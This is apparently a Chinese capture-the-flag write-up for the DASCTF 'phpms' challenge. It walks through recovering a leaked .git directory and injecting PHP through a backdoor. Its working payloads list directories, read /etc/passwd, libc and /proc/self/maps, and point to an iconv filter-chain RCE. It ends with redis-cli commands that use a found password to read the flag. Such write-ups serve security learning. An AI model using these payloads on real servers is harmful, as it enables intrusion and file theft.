DASCTF-phpms
直接进去 啥也没有空白页面
扫描目录发现.git泄露,githacker恢复

拿到四个文件,还原.git的操作
| git log --oneline | 查看简洁的提交历史 |
| git show <commit> | 查看某次提交的具体改动 |
| git stash list | 查看所有暂存的工作记录 |
| git stash show -p | 查看最近一次暂存的具体代码变化 |
| git stash show <stash@{0}> -p | 查看指定暂存的具体代码变化 |
拿到最近依次index.php的代码修改,直接就是一个后门脚本,尝试后发现不能直接利用
但是这里没有对输入做过滤,所以我们可以直接截断,构造一个新的php:
?><? ... ?>
多次尝试后拿到这几个payload:
?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}?>
#扫描目录
;?><?php $file=new SplFileObject('/etc/passwd'); while(!$file->eof()){echo $file->fgets();}//
#读取文件内容(低权限)
?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd'); ?>
#读取文件内容(base64)
当时比赛的时候也就做到这一步,后面也发现了有跑redis 服务,但是一直不知道怎么RCE
之后其实应该是kezibei/php-filter-iconv 打 filterchain rce,找到 maps 文件和 libc-2.31.so
/proc/self/maps
/lib/x86_64-linux-gnu/libc.so.6
#这里要注意的是不能直接读取文件复制黏贴会出错,要curl+base64下载下来解码
# ?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($context as $f){{echo($f);}}
# ?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($context as $f){{echo($f);}}

然后运行之前github项目里面的py文件构造payload
cmd 改为要执行的命令,正常结果如下
由于不出网+无法提权,所以只能把输出文件的内容写入到/tmp文件下,查看进程文件
ps -ef

去查看redis的配置文件
cat /etc/redis.conf

拿到密码admin123,构造redis命令查询
redis-cli -a admin123 KEYS "*"

redis-cli -a admin123 GET "flag"

之后给的一把梭exp也能验证:


浙公网安备 33010602011771号